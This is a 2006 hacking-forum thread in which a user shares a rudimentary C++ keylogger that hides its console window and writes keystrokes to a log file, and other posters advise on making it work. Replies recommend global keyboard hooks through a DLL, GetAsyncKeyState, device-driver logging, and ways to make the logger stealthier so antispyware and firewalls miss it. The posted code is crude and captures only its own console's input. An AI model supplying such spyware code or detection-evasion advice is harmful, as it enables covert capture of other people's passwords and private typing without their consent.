Critical Security.NET: My Keylogger. - Critical Security.NET

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

My Keylogger. Need Help! In C++

#1 User is offline   kevloink Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 230
  • Joined: 02-December 05

Post icon  Posted 18 April 2006 - 08:13 PM

Last night I decided to start writing a keylogger so this is what I have so far:

#include <iostream>
#include <cstdlib>
#include <windows.h>
#include <fstream>
using namespace std;

void loger();

int main() 
{
    
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

loger();
return 0;
}


 void loger()
{
  char typed;
  cin >> typed;
  ofstream myfile;
  myfile.open ("log.txt", ios::out | ios::app | ios::binary);
  myfile << typed;
  myfile.close();
  loger();
}


It works exept it wont show spaces, and if you click on something else after its open it wont log any more. Is there any way to fix this?
0

#2 User is offline   kevloink Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 230
  • Joined: 02-December 05

Posted 18 April 2006 - 09:20 PM

:( Help please.
0

#3 User is offline   eMole Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 216
  • Joined: 24-February 06

Posted 18 April 2006 - 09:27 PM

Quote

It works exept it wont show spaces, and if you click on something else after its open it wont log any more. Is there any way to fix this?


Im not quit good at c++, but for me it looks like a keylogger for your own app :)
check this out:
http://www.planet-so...B1=Quick+Search
0

#4 User is offline   Kekke Icon

  • Posting Prodigy
  • PipPipPipPipPipPip
  • Group: Oldies
  • Posts: 564
  • Joined: 13-February 06
  • Gender:Male
  • Location:Sweden, V�stervik
  • Interests:C++ / Computers overall

Posted 18 April 2006 - 09:30 PM

You can't use cin when you dont have the window active I think(?).
You can use the function GetAsyncKeyState to see if a key is down or up.
And for not showing spaces try, (cin>>typed).get();

This post has been edited by Kekke: 18 April 2006 - 09:30 PM

0

#5 User is offline   eMole Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 216
  • Joined: 24-February 06

Posted 18 April 2006 - 09:34 PM

View PostKekke, on Apr 18 2006, 08:30 PM, said:

You can't use cin when you dont have the window active I think(?).

Youre right, but in his case:

Quote

and if you click on something else after its open it wont log any more

After starting his app it hides its window.But its still "active". So when he type sth it works.
But after he click with the mouse elsewhere, it lost focus & isnt more active->not logging.
Hope i understood it right :D

This post has been edited by eMole: 18 April 2006 - 09:35 PM

0

#6 User is offline   Kekke Icon

  • Posting Prodigy
  • PipPipPipPipPipPip
  • Group: Oldies
  • Posts: 564
  • Joined: 13-February 06
  • Gender:Male
  • Location:Sweden, V�stervik
  • Interests:C++ / Computers overall

Posted 18 April 2006 - 09:36 PM

Exactly.
0

#7 User is offline   kevloink Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 230
  • Joined: 02-December 05

Posted 18 April 2006 - 10:30 PM

I already knew the getkeystate thing but I was just seeing if there was an easier way, guess not.
0

#8 User is offline   virus Icon

  • Codemonkey
  • Icon
  • Group: Forum Moderators
  • Posts: 1,973
  • Joined: 09-November 05
  • Gender:Male
  • Location:Fast and Infinite Net
  • Interests:SELECT * FROM information ORDER BY rating DESC;

Posted 18 April 2006 - 10:33 PM

You should use hooks if you want to make a proper keylogger, these should get you started if you're on windows :)
http://www.codeproje...tem/hooksys.asp
http://www.codeguru....ticle.php/c5667
:P don't know any alternative for linux
0

#9 Guest_Jcrypt-_*

  • Group: Guests

Post icon  Posted 19 April 2006 - 07:27 PM

Couldn't you just do like.......
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
void logger();
int main(){
logger();
return 0;
}
void logger(){
ofstream key("C:\\log.txt", ios::ate);
string mess1;
string mess2;
if(key.is_open()){
while(1){
getline(cin, mess1);
mess2 += mess1;
key << mess2;
}
}else{ cout << "Error: File could not open." << endl;
   }
}

Or even something along those lines. :huh:

This post has been edited by Jcrypt-: 19 April 2006 - 11:09 PM


#10 User is offline   Kekke Icon

  • Posting Prodigy
  • PipPipPipPipPipPip
  • Group: Oldies
  • Posts: 564
  • Joined: 13-February 06
  • Gender:Male
  • Location:Sweden, V�stervik
  • Interests:C++ / Computers overall

Posted 19 April 2006 - 07:44 PM

I don't think that's possible Jcrypt- the window still needs to be active..
0

#11 Guest_easynerd_*

  • Group: Guests

Posted 21 April 2006 - 02:55 AM

Neither of the keyloggers seem to work on Dev- C++.

#12 User is offline   Wells Icon

  • Regular Member
  • PipPipPip
  • Group: Members
  • Posts: 86
  • Joined: 06-October 05
  • Gender:Male

Posted 21 April 2006 - 02:38 PM

Don't use these lame methods. Use a proper keyboard hook, you'll need a .dll for a global hook, then your main program. Search these forums, this topic has been discussed countless times.
0

#13 User is offline   eMole Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 216
  • Joined: 24-February 06

Posted 21 April 2006 - 02:54 PM

View PostWells, on Apr 21 2006, 01:38 PM, said:

Don't use these lame methods. Use a proper keyboard hook, you'll need a .dll for a global hook, then your main program. Search these forums, this topic has been discussed countless times.

I must correct you, Wells. Every good Antispy-Tool or firewall(Zone alarm pro version) recognize Keyboard-Hooks.

Quote

Use a proper keyboard hook, you'll need a .dll for a global hook

So its easely to detect a Keylogger! ZA, detects also DLL injections for FWB.To avoid this, you can use
an unusuall Startup method (selfpromoting :P )
http://www.criticals...&hl=new+startup

To make your Keylogger more stealthy, you must use the lame method.
On the one Side youre right. Keyboard hook is the best method :) !
On the other, let the people try both methods.So the can learn...

Peace out
0

#14 Guest_seadog_*

  • Group: Guests

Posted 22 April 2006 - 07:20 PM

I'm sorry but the first post was a joke yeah?

#15 User is offline   kevloink Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 230
  • Joined: 02-December 05

Posted 22 April 2006 - 09:12 PM

View Postseadog, on Apr 22 2006, 06:20 PM, said:

I'm sorry but the first post was a joke yeah?


No... :(
0

#16 Guest_seadog_*

  • Group: Guests

Posted 22 April 2006 - 10:20 PM

you could always pretend it was to retain some credibility?

#17 User is offline   kevloink Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 230
  • Joined: 02-December 05

Posted 23 April 2006 - 01:02 AM

I just new to C++, I'm better than some people though. I was just trying to see if I could make a shorter keylogger than all the ones on the internet... I was just pretending...
0

#18 User is offline   leben Icon

  • Regular Member
  • PipPipPip
  • Group: Members
  • Posts: 78
  • Joined: 07-November 05
  • Location:MARS
  • Interests:computing - what do you think<br />and pressing flowers.

Posted 23 April 2006 - 07:38 PM

is there like a socket that the OS reads from and the keyboard inputs to, an u just try to read that?

if not then how dose the OS read what the keyboard says?
0

#19 User is offline   kevloink Icon

  • Addicted
  • PipPipPipPipPip
  • Group: Members
  • Posts: 230
  • Joined: 02-December 05

Posted 23 April 2006 - 11:17 PM

I... have no clue...
0

#20 Guest_Explosives_*

  • Group: Guests

Posted 24 April 2006 - 02:46 AM

View PosteMole, on Apr 21 2006, 01:54 PM, said:

I must correct you, Wells. Every good Antispy-Tool or firewall(Zone alarm pro version) recognize Keyboard-Hooks.

So? There're plenty of other uses for hooking the keyboard than a keylogger.

Quote

To make your Keylogger more stealthy, you must use the lame method.
No, you don't. You could write a device driver to log strokes if you want to.

Quote

On the one Side youre right. Keyboard hook is the best method :) !
On the other, let the people try both methods.So the can learn...

The reason both of these methods don't really teach anything is because neither one of them really accomplish the task of creating a keylogger that logs whatever you type, in any window, at any time. You need a hook to do that - and if you don't know why, you don't understand a hook and should probably look it up.

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users